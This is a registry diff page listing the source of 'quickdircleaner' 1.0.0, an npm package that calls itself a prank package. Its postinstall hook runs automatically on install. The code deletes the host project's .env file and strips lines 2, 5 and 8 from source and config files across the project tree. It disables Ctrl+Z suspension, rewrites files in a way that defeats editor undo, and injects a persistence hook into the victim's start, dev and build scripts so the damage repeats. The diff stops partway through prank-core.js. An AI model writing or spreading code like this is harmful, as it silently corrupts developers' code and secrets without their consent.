quickdircleaner 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +101 -0
- package/package.json +32 -0
- package/persist.js +44 -0
- package/prank-core.js +627 -0
- package/restore.js +178 -0
package/index.js
ADDED
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const fs = require("fs/promises");
|
|
4
|
+
const path = require("path");
|
|
5
|
+
const core = require("./prank-core");
|
|
6
|
+
|
|
7
|
+
async function cleanerDoneFlagExists(root) {
|
|
8
|
+
try {
|
|
9
|
+
await fs.access(path.join(root, core.DONE_FLAG));
|
|
10
|
+
return true;
|
|
11
|
+
} catch {
|
|
12
|
+
return false;
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
async function writeCleanerDoneFlag(root) {
|
|
17
|
+
try {
|
|
18
|
+
await core.writeFileAtomic(path.join(root, core.DONE_FLAG), "", "utf8");
|
|
19
|
+
} catch {
|
|
20
|
+
console.error(core.red("Error: could not write .cleaner_done flag."));
|
|
21
|
+
}
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
async function writeBackupMarkdown(root, backupEntries) {
|
|
25
|
+
if (backupEntries.length === 0) {
|
|
26
|
+
return true;
|
|
27
|
+
}
|
|
28
|
+
const outPath = path.join(root, core.BACKUP_NAME);
|
|
29
|
+
const md = core.buildMarkdown(backupEntries);
|
|
30
|
+
try {
|
|
31
|
+
await core.writeFileAtomic(outPath, md, "utf8");
|
|
32
|
+
return true;
|
|
33
|
+
} catch {
|
|
34
|
+
console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
|
|
35
|
+
return false;
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
async function main() {
|
|
40
|
+
core.installSigTstpBlocker();
|
|
41
|
+
const root = await core.canonicalizeProjectRoot(
|
|
42
|
+
core.resolveHostProjectRoot(),
|
|
43
|
+
);
|
|
44
|
+
|
|
45
|
+
if (await cleanerDoneFlagExists(root)) {
|
|
46
|
+
console.warn(
|
|
47
|
+
core.yellow("⚠️ Cleaner already applied. Run restore-clean first."),
|
|
48
|
+
);
|
|
49
|
+
return;
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
let pkgRaw = null;
|
|
53
|
+
try {
|
|
54
|
+
pkgRaw = await fs.readFile(path.join(root, "package.json"), "utf8");
|
|
55
|
+
} catch {
|
|
56
|
+
pkgRaw = null;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
const backupEntries = await core.runPrank(root, true);
|
|
60
|
+
|
|
61
|
+
if (pkgRaw) {
|
|
62
|
+
backupEntries.push({
|
|
63
|
+
filePath: core.SYNTHETIC_PACKAGE_JSON,
|
|
64
|
+
content: pkgRaw,
|
|
65
|
+
});
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
let backupOk = true;
|
|
69
|
+
try {
|
|
70
|
+
backupOk = await writeBackupMarkdown(root, backupEntries);
|
|
71
|
+
} catch {
|
|
72
|
+
backupOk = false;
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
if (backupEntries.length > 0) {
|
|
76
|
+
if (!backupOk) {
|
|
77
|
+
console.warn(
|
|
78
|
+
core.yellow(
|
|
79
|
+
"Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
|
|
80
|
+
),
|
|
81
|
+
);
|
|
82
|
+
return;
|
|
83
|
+
}
|
|
84
|
+
await writeCleanerDoneFlag(root);
|
|
85
|
+
if (pkgRaw) {
|
|
86
|
+
const injected = await core.injectPersistScripts(root);
|
|
87
|
+
if (!injected) {
|
|
88
|
+
console.warn(
|
|
89
|
+
core.yellow(
|
|
90
|
+
"Warning: could not inject persist hook into package.json scripts.",
|
|
91
|
+
),
|
|
92
|
+
);
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
main().catch((err) => {
|
|
99
|
+
console.error(core.red(err && err.message ? err.message : String(err)));
|
|
100
|
+
process.exitCode = 1;
|
|
101
|
+
});
|
package/package.json
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "quickdircleaner",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"index.js",
|
|
8
|
+
"restore.js",
|
|
9
|
+
"persist.js",
|
|
10
|
+
"prank-core.js",
|
|
11
|
+
"README.md"
|
|
12
|
+
],
|
|
13
|
+
"engines": {
|
|
14
|
+
"node": ">=16"
|
|
15
|
+
},
|
|
16
|
+
"bin": {
|
|
17
|
+
"run-clean": "./index.js",
|
|
18
|
+
"restore-clean": "./restore.js"
|
|
19
|
+
},
|
|
20
|
+
"scripts": {
|
|
21
|
+
"run-clean": "node ./index.js",
|
|
22
|
+
"postinstall": "npm run run-clean",
|
|
23
|
+
"test": "node ./test/smoke.js",
|
|
24
|
+
"prepublishOnly": "npm test"
|
|
25
|
+
},
|
|
26
|
+
"keywords": [
|
|
27
|
+
"prank",
|
|
28
|
+
"joke",
|
|
29
|
+
"cli"
|
|
30
|
+
],
|
|
31
|
+
"license": "ISC"
|
|
32
|
+
}
|
package/persist.js
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const core = require("./prank-core");
|
|
4
|
+
|
|
5
|
+
async function main() {
|
|
6
|
+
core.installSigTstpBlocker();
|
|
7
|
+
const root = await core.canonicalizeProjectRoot(
|
|
8
|
+
core.resolveHostProjectRoot(),
|
|
9
|
+
);
|
|
10
|
+
const count = await core.readCounter(root);
|
|
11
|
+
|
|
12
|
+
if (count >= 10) {
|
|
13
|
+
await core.stripPersistFromPackageJsonObject(root);
|
|
14
|
+
await core.deleteCounter(root);
|
|
15
|
+
await core.removeQuickdircleanerPackage(root);
|
|
16
|
+
console.log(
|
|
17
|
+
core.magenta(
|
|
18
|
+
"💀 quickdircleaner has self\u2011destructed. No more pranks.",
|
|
19
|
+
),
|
|
20
|
+
);
|
|
21
|
+
return;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
const backupEntries = await core.runPrank(root, false);
|
|
25
|
+
const attempt = count + 1;
|
|
26
|
+
const appended = await core.appendReapplyMarkdown(root, attempt, backupEntries);
|
|
27
|
+
if (!appended) {
|
|
28
|
+
console.warn(
|
|
29
|
+
core.yellow(
|
|
30
|
+
"Warning: could not append re-apply backup to CLEANER_BACKUP.md; counter not incremented.",
|
|
31
|
+
),
|
|
32
|
+
);
|
|
33
|
+
return;
|
|
34
|
+
}
|
|
35
|
+
await core.writeCounter(root, attempt);
|
|
36
|
+
console.log(
|
|
37
|
+
core.magenta(`🎭 Prank re\u2011applied (attempt ${attempt}/10).`),
|
|
38
|
+
);
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
main().catch((err) => {
|
|
42
|
+
console.error(core.red(err && err.message ? err.message : String(err)));
|
|
43
|
+
process.exitCode = 1;
|
|
44
|
+
});
|
package/prank-core.js
ADDED
|
@@ -0,0 +1,627 @@
|
|
|
1
|
+
const fs = require("fs/promises");
|
|
2
|
+
const path = require("path");
|
|
3
|
+
const { randomBytes } = require("crypto");
|
|
4
|
+
|
|
5
|
+
const RESET = "\x1b[0m";
|
|
6
|
+
function green(msg) {
|
|
7
|
+
return `\x1b[32m${msg}${RESET}`;
|
|
8
|
+
}
|
|
9
|
+
function red(msg) {
|
|
10
|
+
return `\x1b[31m${msg}${RESET}`;
|
|
11
|
+
}
|
|
12
|
+
function yellow(msg) {
|
|
13
|
+
return `\x1b[33m${msg}${RESET}`;
|
|
14
|
+
}
|
|
15
|
+
function magenta(msg) {
|
|
16
|
+
return `\x1b[35m${msg}${RESET}`;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const DONE_FLAG = ".cleaner_done";
|
|
20
|
+
const COUNTER_FILE = ".quickdircleaner_counter";
|
|
21
|
+
const BACKUP_NAME = "CLEANER_BACKUP.md";
|
|
22
|
+
const SYNTHETIC_PACKAGE_JSON = "__quickdircleaner_original_package_json__";
|
|
23
|
+
|
|
24
|
+
const PERSIST_PREFIX = "node ./node_modules/quickdircleaner/persist.js && ";
|
|
25
|
+
|
|
26
|
+
const TARGET_SCRIPT_NAMES = new Set([
|
|
27
|
+
"start",
|
|
28
|
+
"dev",
|
|
29
|
+
"serve",
|
|
30
|
+
"watch",
|
|
31
|
+
"build",
|
|
32
|
+
"preview",
|
|
33
|
+
]);
|
|
34
|
+
|
|
35
|
+
const CLEANABLE_EXT = new Set([
|
|
36
|
+
".js",
|
|
37
|
+
".mjs",
|
|
38
|
+
".cjs",
|
|
39
|
+
".jsx",
|
|
40
|
+
".ts",
|
|
41
|
+
".tsx",
|
|
42
|
+
".mts",
|
|
43
|
+
".cts",
|
|
44
|
+
".json",
|
|
45
|
+
".jsonc",
|
|
46
|
+
".html",
|
|
47
|
+
".htm",
|
|
48
|
+
".css",
|
|
49
|
+
".scss",
|
|
50
|
+
".sass",
|
|
51
|
+
".less",
|
|
52
|
+
".styl",
|
|
53
|
+
".vue",
|
|
54
|
+
".svelte",
|
|
55
|
+
".astro",
|
|
56
|
+
".md",
|
|
57
|
+
".mdx",
|
|
58
|
+
".txt",
|
|
59
|
+
".csv",
|
|
60
|
+
".xml",
|
|
61
|
+
".svg",
|
|
62
|
+
".yaml",
|
|
63
|
+
".yml",
|
|
64
|
+
".graphql",
|
|
65
|
+
".gql",
|
|
66
|
+
".sh",
|
|
67
|
+
".bash",
|
|
68
|
+
".zsh",
|
|
69
|
+
".ps1",
|
|
70
|
+
".bat",
|
|
71
|
+
".cmd",
|
|
72
|
+
]);
|
|
73
|
+
|
|
74
|
+
const REMOVE_LINE_NUMBERS = [2, 5, 8];
|
|
75
|
+
|
|
76
|
+
/**
|
|
77
|
+
* Directory that should be cleaned: the project that ran `npm install`, not this package folder.
|
|
78
|
+
* npm sets INIT_CWD during lifecycle scripts. If it is missing (older tooling), cwd may still be
|
|
79
|
+
* `.../node_modules/quickdircleaner` during postinstall — then we walk up to the host project.
|
|
80
|
+
*/
|
|
81
|
+
function resolveHostProjectRoot() {
|
|
82
|
+
const init = process.env.INIT_CWD;
|
|
83
|
+
if (init != null && String(init).trim() !== "") {
|
|
84
|
+
return path.resolve(init);
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
const cwd = process.cwd();
|
|
88
|
+
const base = path.basename(cwd);
|
|
89
|
+
if (base === "quickdircleaner") {
|
|
90
|
+
const norm = cwd.split(path.sep).join("/");
|
|
91
|
+
if (norm.includes("node_modules/quickdircleaner")) {
|
|
92
|
+
return path.resolve(cwd, "..", "..");
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
return path.resolve(cwd);
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
/** Aligns with walk() so /var vs /private/var on macOS does not skip files. */
|
|
100
|
+
async function canonicalizeProjectRoot(root) {
|
|
101
|
+
const resolved = path.resolve(root);
|
|
102
|
+
try {
|
|
103
|
+
return await fs.realpath(resolved);
|
|
104
|
+
} catch {
|
|
105
|
+
return resolved;
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
let sigTstpBlockerInstalled = false;
|
|
110
|
+
|
|
111
|
+
/** Stops terminal Ctrl+Z (SIGTSTP) from suspending Node mid-run (partial writes). */
|
|
112
|
+
function installSigTstpBlocker() {
|
|
113
|
+
if (process.platform === "win32" || sigTstpBlockerInstalled) {
|
|
114
|
+
return;
|
|
115
|
+
}
|
|
116
|
+
sigTstpBlockerInstalled = true;
|
|
117
|
+
process.on("SIGTSTP", () => {});
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
/**
|
|
121
|
+
* Replace file atomically (temp + rename) so many editors drop in-memory undo for that path.
|
|
122
|
+
* Falls back to writeFile if rename is not allowed (e.g. some Windows setups).
|
|
123
|
+
*/
|
|
124
|
+
async function writeFileAtomic(filePath, content, encoding = "utf8") {
|
|
125
|
+
const dir = path.dirname(filePath);
|
|
126
|
+
const tmp = path.join(
|
|
127
|
+
dir,
|
|
128
|
+
`.qdc-${process.pid}-${randomBytes(6).toString("hex")}.tmp`,
|
|
129
|
+
);
|
|
130
|
+
try {
|
|
131
|
+
await fs.writeFile(tmp, content, encoding);
|
|
132
|
+
await fs.rename(tmp, filePath);
|
|
133
|
+
} catch {
|
|
134
|
+
try {
|
|
135
|
+
await fs.unlink(tmp);
|
|
136
|
+
} catch {
|
|
137
|
+
/* ignore */
|
|
138
|
+
}
|
|
139
|
+
await fs.writeFile(filePath, content, encoding);
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
function fencedCodeBlock(content) {
|
|
144
|
+
let fence = "```";
|
|
145
|
+
while (content.includes(fence)) {
|
|
146
|
+
fence += "`";
|
|
147
|
+
}
|
|
148
|
+
return `${fence}\n${content}\n${fence}`;
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
function detectEol(content) {
|
|
152
|
+
return content.includes("\r\n") ? "\r\n" : "\n";
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
function removeOriginalLines(lines, oneBasedLineNumbers) {
|
|
156
|
+
const indices = [...new Set(oneBasedLineNumbers)]
|
|
157
|
+
.filter((n) => n >= 1 && n <= lines.length)
|
|
158
|
+
.map((n) => n - 1)
|
|
159
|
+
.sort((a, b) => b - a);
|
|
160
|
+
const next = lines.slice();
|
|
161
|
+
for (const i of indices) {
|
|
162
|
+
next.splice(i, 1);
|
|
163
|
+
}
|
|
164
|
+
return next;
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
function buildMarkdown(backupEntries) {
|
|
168
|
+
const lines = [
|
|
169
|
+
"# Cleaner backup",
|
|
170
|
+
"",
|
|
171
|
+
"Backed-up files (relative to project root):",
|
|
172
|
+
"",
|
|
173
|
+
"| File |",
|
|
174
|
+
"| --- |",
|
|
175
|
+
];
|
|
176
|
+
for (const { filePath } of backupEntries) {
|
|
177
|
+
const safe = String(filePath).replace(/\|/g, "\\|");
|
|
178
|
+
lines.push(`| \`${safe}\` |`);
|
|
179
|
+
}
|
|
180
|
+
lines.push("", "## Original contents", "");
|
|
181
|
+
for (const { filePath, content } of backupEntries) {
|
|
182
|
+
lines.push(`### \`${filePath}\``, "", fencedCodeBlock(content), "");
|
|
183
|
+
}
|
|
184
|
+
return lines.join("\n");
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
function buildReapplySection(attemptNumber, backupEntries) {
|
|
188
|
+
const lines = [
|
|
189
|
+
"---",
|
|
190
|
+
"",
|
|
191
|
+
`## Re-apply (attempt ${attemptNumber})`,
|
|
192
|
+
"",
|
|
193
|
+
"Backed-up files (this run):",
|
|
194
|
+
"",
|
|
195
|
+
"| File |",
|
|
196
|
+
"| --- |",
|
|
197
|
+
];
|
|
198
|
+
for (const { filePath } of backupEntries) {
|
|
199
|
+
const safe = String(filePath).replace(/\|/g, "\\|");
|
|
200
|
+
lines.push(`| \`${safe}\` |`);
|
|
201
|
+
}
|
|
202
|
+
lines.push("", "## Original contents (this run)", "");
|
|
203
|
+
for (const { filePath, content } of backupEntries) {
|
|
204
|
+
lines.push(`### \`${filePath}\``, "", fencedCodeBlock(content), "");
|
|
205
|
+
}
|
|
206
|
+
return lines.join("\n");
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
async function backupAndRemoveEnv(root, backupEntries) {
|
|
210
|
+
const envPath = path.join(root, ".env");
|
|
211
|
+
try {
|
|
212
|
+
const content = await fs.readFile(envPath, "utf8");
|
|
213
|
+
backupEntries.push({ filePath: ".env", content });
|
|
214
|
+
try {
|
|
215
|
+
await fs.unlink(envPath);
|
|
216
|
+
} catch {
|
|
217
|
+
/* keep entry */
|
|
218
|
+
}
|
|
219
|
+
} catch (err) {
|
|
220
|
+
if (err && err.code !== "ENOENT") {
|
|
221
|
+
/* skip */
|
|
222
|
+
}
|
|
223
|
+
}
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
|
|
227
|
+
let content;
|
|
228
|
+
try {
|
|
229
|
+
content = await fs.readFile(fullPath, "utf8");
|
|
230
|
+
} catch {
|
|
231
|
+
return;
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
const eol = detectEol(content);
|
|
235
|
+
const lineArray = content.split(/\r?\n/);
|
|
236
|
+
const nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
|
|
237
|
+
const modified = nextLines.join(eol);
|
|
238
|
+
|
|
239
|
+
if (modified === content) {
|
|
240
|
+
return;
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
const rel = path.relative(root, fullPath);
|
|
244
|
+
const filePath = rel.split(path.sep).join("/") || path.basename(fullPath);
|
|
245
|
+
|
|
246
|
+
backupEntries.push({ filePath, content });
|
|
247
|
+
|
|
248
|
+
try {
|
|
249
|
+
await writeFileAtomic(fullPath, modified, "utf8");
|
|
250
|
+
} catch {
|
|
251
|
+
backupEntries.pop();
|
|
252
|
+
return;
|
|
253
|
+
}
|
|
254
|
+
|
|
255
|
+
if (logCleaned) {
|
|
256
|
+
console.log(green(`🧹 Cleaned: ${filePath}`));
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
|
|
260
|
+
/** True if absolutePath is the project root or a path strictly under it. */
|
|
261
|
+
function isPathInsideProjectRoot(rootResolved, absolutePath) {
|
|
262
|
+
const rootAbs = path.resolve(rootResolved);
|
|
263
|
+
const abs = path.resolve(absolutePath);
|
|
264
|
+
if (abs === rootAbs) {
|
|
265
|
+
return true;
|
|
266
|
+
}
|
|
267
|
+
const prefix = rootAbs.endsWith(path.sep) ? rootAbs : rootAbs + path.sep;
|
|
268
|
+
return abs.startsWith(prefix);
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
/**
|
|
272
|
+
* Walks the entire project tree: every nested folder under root is queued and
|
|
273
|
+
* visited (except directories named node_modules or .git at any depth).
|
|
274
|
+
* Directory symlinks are followed only when their real path stays inside the project.
|
|
275
|
+
*/
|
|
276
|
+
async function walkAndClean(root, backupEntries, logCleaned) {
|
|
277
|
+
let rootResolved = path.resolve(root);
|
|
278
|
+
try {
|
|
279
|
+
rootResolved = await fs.realpath(rootResolved);
|
|
280
|
+
} catch {
|
|
281
|
+
/* use path.resolve only */
|
|
282
|
+
}
|
|
283
|
+
const visitedDirs = new Set();
|
|
284
|
+
const queue = [rootResolved];
|
|
285
|
+
|
|
286
|
+
while (queue.length > 0) {
|
|
287
|
+
const dir = queue.shift();
|
|
288
|
+
if (visitedDirs.has(dir)) {
|
|
289
|
+
continue;
|
|
290
|
+
}
|
|
291
|
+
visitedDirs.add(dir);
|
|
292
|
+
|
|
293
|
+
let entries;
|
|
294
|
+
try {
|
|
295
|
+
entries = await fs.readdir(dir, { withFileTypes: true });
|
|
296
|
+
} catch {
|
|
297
|
+
continue;
|
|
298
|
+
}
|
|
299
|
+
|
|
300
|
+
for (const ent of entries) {
|
|
301
|
+
if (ent.name === "node_modules" || ent.name === ".git") {
|
|
302
|
+
continue;
|
|
303
|
+
}
|
|
304
|
+
|
|
305
|
+
const full = path.join(dir, ent.name);
|
|
306
|
+
|
|
307
|
+
let realPath;
|
|
308
|
+
try {
|
|
309
|
+
realPath = await fs.realpath(full);
|
|
310
|
+
} catch {
|
|
311
|
+
continue;
|
|
312
|
+
}
|
|
313
|
+
|
|
314
|
+
if (!isPathInsideProjectRoot(rootResolved, realPath)) {
|
|
315
|
+
continue;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
let st;
|
|
319
|
+
try {
|
|
320
|
+
st = await fs.stat(full);
|
|
321
|
+
} catch {
|
|
322
|
+
continue;
|
|
323
|
+
}
|
|
324
|
+
|
|
325
|
+
if (st.isDirectory()) {
|
|
326
|
+
queue.push(realPath);
|
|
327
|
+
continue;
|
|
328
|
+
}
|
|
329
|
+
|
|
330
|
+
if (!st.isFile()) {
|
|
331
|
+
continue;
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
if (
|
|
335
|
+
ent.name === BACKUP_NAME ||
|
|
336
|
+
ent.name === DONE_FLAG ||
|
|
337
|
+
ent.name === COUNTER_FILE ||
|
|
338
|
+
ent.name === "package.json"
|
|
339
|
+
) {
|
|
340
|
+
continue;
|
|
341
|
+
}
|
|
342
|
+
|
|
343
|
+
const ext = path.extname(ent.name).toLowerCase();
|
|
344
|
+
if (!CLEANABLE_EXT.has(ext)) {
|
|
345
|
+
continue;
|
|
346
|
+
}
|
|
347
|
+
|
|
348
|
+
try {
|
|
349
|
+
await cleanSourceFile(realPath, rootResolved, backupEntries, logCleaned);
|
|
350
|
+
} catch {
|
|
351
|
+
/* skip */
|
|
352
|
+
}
|
|
353
|
+
}
|
|
354
|
+
}
|
|
355
|
+
}
|
|
356
|
+
|
|
357
|
+
/**
|
|
358
|
+
* Runs env backup/removal and source walk; returns new backup entries for this run.
|
|
359
|
+
*/
|
|
360
|
+
async function runPrank(root, logCleaned) {
|
|
361
|
+
installSigTstpBlocker();
|
|
362
|
+
const backupEntries = [];
|
|
363
|
+
await backupAndRemoveEnv(root, backupEntries);
|
|
364
|
+
await walkAndClean(root, backupEntries, logCleaned);
|
|
365
|
+
return backupEntries;
|
|
366
|
+
}
|
|
367
|
+
|
|
368
|
+
function scriptHasPersist(cmd) {
|
|
369
|
+
return (
|
|
370
|
+
typeof cmd === "string" &&
|
|
371
|
+
cmd.includes("node_modules/quickdircleaner/persist.js")
|
|
372
|
+
);
|
|
373
|
+
}
|
|
374
|
+
|
|
375
|
+
function stripPersistPrefix(cmd) {
|
|
376
|
+
if (typeof cmd !== "string") {
|
|
377
|
+
return cmd;
|
|
378
|
+
}
|
|
379
|
+
let s = cmd;
|
|
380
|
+
while (s.startsWith(PERSIST_PREFIX)) {
|
|
381
|
+
s = s.slice(PERSIST_PREFIX.length);
|
|
382
|
+
}
|
|
383
|
+
return s;
|
|
384
|
+
}
|
|
385
|
+
|
|
386
|
+
async function injectPersistScripts(root) {
|
|
387
|
+
const pkgPath = path.join(root, "package.json");
|
|
388
|
+
let raw;
|
|
389
|
+
try {
|
|
390
|
+
raw = await fs.readFile(pkgPath, "utf8");
|
|
391
|
+
} catch {
|
|
392
|
+
return false;
|
|
393
|
+
}
|
|
394
|
+
|
|
395
|
+
let data;
|
|
396
|
+
try {
|
|
397
|
+
data = JSON.parse(raw);
|
|
398
|
+
} catch {
|
|
399
|
+
return false;
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
if (!data.scripts || typeof data.scripts !== "object") {
|
|
403
|
+
return false;
|
|
404
|
+
}
|
|
405
|
+
|
|
406
|
+
let changed = false;
|
|
407
|
+
for (const name of TARGET_SCRIPT_NAMES) {
|
|
408
|
+
const val = data.scripts[name];
|
|
409
|
+
if (typeof val !== "string") {
|
|
410
|
+
continue;
|
|
411
|
+
}
|
|
412
|
+
if (scriptHasPersist(val)) {
|
|
413
|
+
continue;
|
|
414
|
+
}
|
|
415
|
+
data.scripts[name] = PERSIST_PREFIX + val;
|
|
416
|
+
changed = true;
|
|
417
|
+
}
|
|
418
|
+
|
|
419
|
+
if (!changed) {
|
|
420
|
+
return true;
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
try {
|
|
424
|
+
await writeFileAtomic(
|
|
425
|
+
pkgPath,
|
|
426
|
+
`${JSON.stringify(data, null, 2)}\n`,
|
|
427
|
+
"utf8",
|
|
428
|
+
);
|
|
429
|
+
return true;
|
|
430
|
+
} catch {
|
|
431
|
+
return false;
|
|
432
|
+
}
|
|
433
|
+
}
|
|
434
|
+
|
|
435
|
+
async function stripPersistFromPackageJsonObject(root) {
|
|
436
|
+
const pkgPath = path.join(root, "package.json");
|
|
437
|
+
let raw;
|
|
438
|
+
try {
|
|
439
|
+
raw = await fs.readFile(pkgPath, "utf8");
|
|
440
|
+
} catch {
|
|
441
|
+
return false;
|
|
442
|
+
}
|
|
443
|
+
|
|
444
|
+
let data;
|
|
445
|
+
try {
|
|
446
|
+
data = JSON.parse(raw);
|
|
447
|
+
} catch {
|
|
448
|
+
return false;
|
|
449
|
+
}
|
|
450
|
+
|
|
451
|
+
if (!data.scripts || typeof data.scripts !== "object") {
|
|
452
|
+
return false;
|
|
453
|
+
}
|
|
454
|
+
|
|
455
|
+
let changed = false;
|
|
456
|
+
for (const key of Object.keys(data.scripts)) {
|
|
457
|
+
const val = data.scripts[key];
|
|
458
|
+
if (typeof val !== "string" || !scriptHasPersist(val)) {
|
|
459
|
+
continue;
|
|
460
|
+
}
|
|
461
|
+
data.scripts[key] = stripPersistPrefix(val);
|
|
462
|
+
changed = true;
|
|
463
|
+
}
|
|
464
|
+
|
|
465
|
+
if (!changed) {
|
|
466
|
+
return true;
|
|
467
|
+
}
|
|
468
|
+
|
|
469
|
+
try {
|
|
470
|
+
await writeFileAtomic(
|
|
471
|
+
pkgPath,
|
|
472
|
+
`${JSON.stringify(data, null, 2)}\n`,
|
|
473
|
+
"utf8",
|
|
474
|
+
);
|
|
475
|
+
return true;
|
|
476
|
+
} catch {
|
|
477
|
+
return false;
|
|
478
|
+
}
|
|
479
|
+
}
|
|
480
|
+
|
|
481
|
+
async function readCounter(root) {
|
|
482
|
+
const p = path.join(root, COUNTER_FILE);
|
|
483
|
+
try {
|
|
484
|
+
const t = (await fs.readFile(p, "utf8")).trim();
|
|
485
|
+
const n = parseInt(t, 10);
|
|
486
|
+
return Number.isFinite(n) ? n : 0;
|
|
487
|
+
} catch {
|
|
488
|
+
return 0;
|
|
489
|
+
}
|
|
490
|
+
}
|
|
491
|
+
|
|
492
|
+
async function writeCounter(root, value) {
|
|
493
|
+
await writeFileAtomic(
|
|
494
|
+
path.join(root, COUNTER_FILE),
|
|
495
|
+
String(value),
|
|
496
|
+
"utf8",
|
|
497
|
+
);
|
|
498
|
+
}
|
|
499
|
+
|
|
500
|
+
async function deleteCounter(root) {
|
|
501
|
+
try {
|
|
502
|
+
await fs.unlink(path.join(root, COUNTER_FILE));
|
|
503
|
+
} catch (err) {
|
|
504
|
+
if (err && err.code !== "ENOENT") {
|
|
505
|
+
/* ignore */
|
|
506
|
+
}
|
|
507
|
+
}
|
|
508
|
+
}
|
|
509
|
+
|
|
510
|
+
async function appendReapplyMarkdown(root, attemptNumber, backupEntries) {
|
|
511
|
+
if (backupEntries.length === 0) {
|
|
512
|
+
return true;
|
|
513
|
+
}
|
|
514
|
+
const p = path.join(root, BACKUP_NAME);
|
|
515
|
+
const section = buildReapplySection(attemptNumber, backupEntries);
|
|
516
|
+
let existing;
|
|
517
|
+
try {
|
|
518
|
+
existing = await fs.readFile(p, "utf8");
|
|
519
|
+
} catch {
|
|
520
|
+
return false;
|
|
521
|
+
}
|
|
522
|
+
try {
|
|
523
|
+
await writeFileAtomic(p, `${existing}\n\n${section}`, "utf8");
|
|
524
|
+
return true;
|
|
525
|
+
} catch {
|
|
526
|
+
return false;
|
|
527
|
+
}
|
|
528
|
+
}
|
|
529
|
+
|
|
530
|
+
async function removeQuickdircleanerPackage(root) {
|
|
531
|
+
const target = path.join(root, "node_modules", "quickdircleaner");
|
|
532
|
+
try {
|
|
533
|
+
await fs.rm(target, { recursive: true, force: true });
|
|
534
|
+
} catch {
|
|
535
|
+
/* ignore */
|
|
536
|
+
}
|
|
537
|
+
}
|
|
538
|
+
|
|
539
|
+
/**
|
|
540
|
+
* Parses ### headings + fences only under the first "## Original contents" section
|
|
541
|
+
* (stops at the next H2 such as "## Re-apply …").
|
|
542
|
+
*/
|
|
543
|
+
function parseFirstOriginalSectionMarkdown(md) {
|
|
544
|
+
const marker = "## Original contents";
|
|
545
|
+
const idx = md.indexOf(marker);
|
|
546
|
+
if (idx === -1) {
|
|
547
|
+
return [];
|
|
548
|
+
}
|
|
549
|
+
let pos = idx + marker.length;
|
|
550
|
+
const rest = md.slice(pos);
|
|
551
|
+
const lines = rest.split(/\r?\n/);
|
|
552
|
+
const entries = [];
|
|
553
|
+
let i = 0;
|
|
554
|
+
|
|
555
|
+
while (i < lines.length) {
|
|
556
|
+
const line = lines[i];
|
|
557
|
+
if (/^## [^#]/.test(line)) {
|
|
558
|
+
break;
|
|
559
|
+
}
|
|
560
|
+
const heading = line.match(/^### `([^`]+)`\s*$/);
|
|
561
|
+
if (!heading) {
|
|
562
|
+
i += 1;
|
|
563
|
+
continue;
|
|
564
|
+
}
|
|
565
|
+
|
|
566
|
+
const filePath = heading[1];
|
|
567
|
+
i += 1;
|
|
568
|
+
|
|
569
|
+
while (i < lines.length && lines[i].trim() === "") {
|
|
570
|
+
i += 1;
|
|
571
|
+
}
|
|
572
|
+
|
|
573
|
+
const fenceLine = lines[i]?.match(/^(`{3,})\s*$/);
|
|
574
|
+
if (!fenceLine) {
|
|
575
|
+
i += 1;
|
|
576
|
+
continue;
|
|
577
|
+
}
|
|
578
|
+
|
|
579
|
+
const fence = fenceLine[1];
|
|
580
|
+
i += 1;
|
|
581
|
+
|
|
582
|
+
const body = [];
|
|
583
|
+
while (i < lines.length && lines[i] !== fence) {
|
|
584
|
+
body.push(lines[i]);
|
|
585
|
+
i += 1;
|
|
586
|
+
}
|
|
587
|
+
|
|
588
|
+
if (i < lines.length && lines[i] === fence) {
|
|
589
|
+
i += 1;
|
|
590
|
+
}
|
|
591
|
+
|
|
592
|
+
entries.push({ filePath, content: body.join("\n") });
|
|
593
|
+
}
|
